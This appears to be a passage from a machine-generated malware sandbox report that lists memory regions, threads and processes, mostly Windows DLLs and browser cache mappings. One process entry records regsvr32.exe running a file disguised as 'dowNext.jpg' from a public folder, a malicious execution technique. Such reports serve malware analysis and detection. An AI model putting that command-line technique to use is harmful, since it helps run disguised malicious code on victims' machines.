start_va = 0x3b30000
end_va = 0x3b3ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1546
start_va = 0x3c90000
end_va = 0x3c9ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1547
start_va = 0x3eb0000
end_va = 0x3ebffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1548
start_va = 0x3ec0000
end_va = 0x3ecffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1549
start_va = 0x3ed0000
end_va = 0x3edffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1550
start_va = 0x3ee0000
end_va = 0x3eeffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1551
start_va = 0x3ef0000
end_va = 0x3efffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1552
start_va = 0x3f00000
end_va = 0x3f0ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1553
start_va = 0x3f10000
end_va = 0x3f1ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1554
start_va = 0x3f20000
end_va = 0x3f2ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1555
start_va = 0x3f30000
end_va = 0x3f3ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1556
start_va = 0x3f40000
end_va = 0x3f4ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1557
start_va = 0x3f50000
end_va = 0x3f5ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1558
start_va = 0x3f60000
end_va = 0x3f6ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1559
start_va = 0x3f70000
end_va = 0x3f7ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1560
start_va = 0x3f80000
end_va = 0x3f8ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1561
start_va = 0x3f90000
end_va = 0x3f9ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1562
start_va = 0x3fa0000
end_va = 0x3faffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1563
start_va = 0x3fb0000
end_va = 0x3fbffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1564
start_va = 0x3fc0000
end_va = 0x3fcffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1565
start_va = 0x3fd0000
end_va = 0x3fdffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1566
start_va = 0x3fe0000
end_va = 0x3feffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1567
start_va = 0x3ff0000
end_va = 0x3ffffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1568
start_va = 0x4000000
end_va = 0x400ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1569
start_va = 0x4020000
end_va = 0x402ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1570
start_va = 0x4030000
end_va = 0x4037fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004030000"
filename = ""
Region:
id = 1571
start_va = 0x4040000
end_va = 0x4047fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004040000"
filename = ""
Region:
id = 1572
start_va = 0x4050000
end_va = 0x4057fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004050000"
filename = ""
Region:
id = 1573
start_va = 0x4060000
end_va = 0x4060fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004060000"
filename = ""
Region:
id = 1574
start_va = 0x4070000
end_va = 0x4077fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004070000"
filename = ""
Region:
id = 1575
start_va = 0x4060000
end_va = 0x4067fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004060000"
filename = ""
Region:
id = 1576
start_va = 0x4070000
end_va = 0x4077fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004070000"
filename = ""
Region:
id = 1577
start_va = 0x4080000
end_va = 0x4087fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004080000"
filename = ""
Region:
id = 1578
start_va = 0x4090000
end_va = 0x4097fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004090000"
filename = ""
Region:
id = 1579
start_va = 0x40a0000
end_va = 0x40a7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000040a0000"
filename = ""
Region:
id = 1580
start_va = 0x40b0000
end_va = 0x40b7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000040b0000"
filename = ""
Region:
id = 1581
start_va = 0x40c0000
end_va = 0x40c7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000040c0000"
filename = ""
Region:
id = 1582
start_va = 0x40d0000
end_va = 0x40d7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000040d0000"
filename = ""
Region:
id = 1583
start_va = 0x40e0000
end_va = 0x40e7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000040e0000"
filename = ""
Region:
id = 1584
start_va = 0x40f0000
end_va = 0x40f7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000040f0000"
filename = ""
Region:
id = 1585
start_va = 0x4100000
end_va = 0x4107fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004100000"
filename = ""
Region:
id = 1586
start_va = 0x4110000
end_va = 0x4117fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004110000"
filename = ""
Thread:
id = 46
os_tid = 0xac0
Thread:
id = 47
os_tid = 0xd60
Thread:
id = 48
os_tid = 0xadc
Thread:
id = 49
os_tid = 0x8a0
Thread:
id = 50
os_tid = 0x898
Thread:
id = 51
os_tid = 0x888
Process:
id = "6"
image_name = "regsvr32.exe"
filename = "c:\\windows\\syswow64\\regsvr32.exe"
page_root = "0x2d771000"
os_pid = "0xe14"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "4"
os_parent_pid = "0x7a4"
cmd_line = "\"C:\\Windows\\System32\\regsvr32.exe\" c:\\users\\public\\dowNext.jpg"
cur_dir = "C:\\Windows\\system32\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1336
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1337
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 1338
start_va = 0x40000
end_va = 0x54fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 1339
start_va = 0x60000
end_va = 0x9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 1340
start_va = 0xa0000
end_va = 0xdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000a0000"
filename = ""
Region:
id = 1341
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 1342
start_va = 0x10f0000
end_va = 0x10f7fff
monitored = 1
entry_point = 0x10f2a70
region_type = mapped_file
name = "regsvr32.exe"
filename = "\\Windows\\SysWOW64\\regsvr32.exe" (normalized: "c:\\windows\\syswow64\\regsvr32.exe")
Region:
id = 1343
start_va = 0x1100000
end_va = 0x50fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001100000"
filename = ""
Region:
id = 1344
start_va = 0x778f0000
end_va = 0x77a6afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 1345
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 1346
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1347
start_va = 0x7fff0000
end_va = 0x7dfb28afffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 1348
start_va = 0x7dfb28b00000
end_va = 0x7ffb28afffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007dfb28b00000"
filename = ""
Region:
id = 1349
start_va = 0x7ffb28b00000
end_va = 0x7ffb28cc0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1350
start_va = 0x7ffb28cc1000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffb28cc1000"
filename = ""
Region:
id = 1353
start_va = 0xe0000
end_va = 0xe3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000e0000"
filename = ""
Region:
id = 1354
start_va = 0xf0000
end_va = 0xf1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000f0000"
filename = ""
Region:
id = 1355
start_va = 0x100000
end_va = 0x101fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000100000"
filename = ""
Region:
id = 1356
start_va = 0x1a0000
end_va = 0x1affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001a0000"
filename = ""
Region:
id = 1357
start_va = 0x657b0000
end_va = 0x65829fff
monitored = 0
entry_point = 0x657c3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 1358
start_va = 0x65840000
end_va = 0x6588ffff
monitored = 0
entry_point = 0x65858180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 1359
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1360
start_va = 0x65830000
end_va = 0x65837fff
monitored = 0
entry_point = 0x658317c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 1361
start_va = 0x400000
end_va = 0x57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1362
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1363
start_va = 0x75e80000
end_va = 0x75ffdfff
monitored = 0
entry_point = 0x75f31b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 1364
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1365
start_va = 0x7feb0000
end_va = 0x7ffaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007feb0000"
filename = ""
Region:
id = 1366
start_va = 0x580000
end_va = 0x63dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1367
start_va = 0x74570000
end_va = 0x74601fff
monitored = 0
entry_point = 0x745b0380
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")
Region:
id = 1368
start_va = 0x7fb00000
end_va = 0x7fea0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 1370
start_va = 0x647a0000
end_va = 0x64a17fff
monitored = 0
entry_point = 0x647b5e90
region_type = mapped_file
name = "aclayers.dll"
filename = "\\Windows\\AppPatch\\AcLayers.dll" (normalized: "c:\\windows\\apppatch\\aclayers.dll")
Region:
id = 1371
start_va = 0x75680000
end_va = 0x7573dfff
monitored = 0
entry_point = 0x756b5630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 1372
start_va = 0x74790000
end_va = 0x748d6fff
monitored = 0
entry_point = 0x747a1cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 1373
start_va = 0x758f0000
end_va = 0x75a3efff
monitored = 0
entry_point = 0x759a6820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 1374
start_va = 0x76370000
end_va = 0x7776efff
monitored = 0
entry_point = 0x7652b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 1375
start_va = 0x75300000
end_va = 0x75336fff
monitored = 0
entry_point = 0x75303b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 1376
start_va = 0x74c60000
end_va = 0x75158fff
monitored = 0
entry_point = 0x74e67610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 1377
start_va = 0x754b0000
end_va = 0x7566cfff
monitored = 0
entry_point = 0x75592a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 1378
start_va = 0x20000
end_va = 0x23fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1379
start_va = 0x74b50000
end_va = 0x74bfcfff
monitored = 0
entry_point = 0x74b64f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 1380
start_va = 0x74620000
end_va = 0x7463dfff
monitored = 0
entry_point = 0x7462b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 1381
start_va = 0x74610000
end_va = 0x74619fff
monitored = 0
entry_point = 0x74612a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 1382
start_va = 0x74730000
end_va = 0x74787fff
monitored = 0
entry_point = 0x747725c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 1383
start_va = 0x75740000
end_va = 0x75783fff
monitored = 0
entry_point = 0x75759d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 1384
start_va = 0x77820000
end_va = 0x7789afff
monitored = 0
entry_point = 0x7783e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 1385
start_va = 0x75790000
end_va = 0x757d4fff
monitored = 0
entry_point = 0x757ade90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 1386
start_va = 0x757e0000
end_va = 0x757ebfff
monitored = 0
entry_point = 0x757e3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 1387
start_va = 0x748e0000
end_va = 0x7496cfff
monitored = 0
entry_point = 0x74929b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 1388
start_va = 0x77770000
end_va = 0x777b3fff
monitored = 0
entry_point = 0x77777410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 1389
start_va = 0x757f0000
end_va = 0x757fefff
monitored = 0
entry_point = 0x757f2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 1390
start_va = 0x76150000
end_va = 0x761e1fff
monitored = 0
entry_point = 0x76188cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 1391
start_va = 0x75a40000
end_va = 0x75e4afff
monitored = 0
entry_point = 0x75a6adf0
region_type = mapped_file
name = "setupapi.dll"
filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll")
Region:
id = 1392
start_va = 0x660c0000
end_va = 0x660d5fff
monitored = 0
entry_point = 0x660c21d0
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll")
Region:
id = 1393
start_va = 0x66680000
end_va = 0x66682fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sfc.dll"
filename = "\\Windows\\SysWOW64\\sfc.dll" (normalized: "c:\\windows\\syswow64\\sfc.dll")
Region:
id = 1394
start_va = 0x673b0000
end_va = 0x67416fff
monitored = 0
entry_point = 0x673c5a00
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv")
Region:
id = 1395
start_va = 0x742c0000
end_va = 0x742dafff
monitored = 0
entry_point = 0x742c9050
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")
Region:
id = 1396
start_va = 0x65940000
end_va = 0x6594efff
monitored = 0
entry_point = 0x659463e0
region_type = mapped_file
name = "sfc_os.dll"
filename = "\\Windows\\SysWOW64\\sfc_os.dll" (normalized: "c:\\windows\\syswow64\\sfc_os.dll")
Region:
id = 1397
start_va = 0x110000
end_va = 0x17ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000110000"
filename = ""
Region:
id = 1398
start_va = 0x110000
end_va = 0x139fff
monitored = 0
entry_point = 0x115680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1399
start_va = 0x170000
end_va = 0x17ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000170000"
filename = ""
Region:
id = 1400
start_va = 0x640000
end_va = 0x7c7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000640000"
filename = ""
Region:
id = 1401
start_va = 0x75e50000
end_va = 0x75e7afff
monitored = 0
entry_point = 0x75e55680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1402
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1403
start_va = 0x110000
end_va = 0x110fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000110000"
filename = ""
Region:
id = 1404
start_va = 0x120000
end_va = 0x121fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "regsvr32.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\regsvr32.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\regsvr32.exe.mui")
Region:
id = 1405
start_va = 0x7d0000
end_va = 0x950fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007d0000"
filename = ""
Region:
id = 1406
start_va = 0x5100000
end_va = 0x64fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000005100000"
filename = ""
Region:
id = 1407
start_va = 0x130000
end_va = 0x130fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000130000"
filename = ""
Region:
id = 1408
start_va = 0x140000
end_va = 0x140fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000140000"
filename = ""
Region:
id = 1409
start_va = 0x960000
end_va = 0xa49fff
monitored = 0
entry_point = 0x99d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 1410
start_va = 0x75160000
end_va = 0x7524afff
monitored = 0
entry_point = 0x7519d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 1411
start_va = 0x1b0000
end_va = 0x1effff
monitored = 1
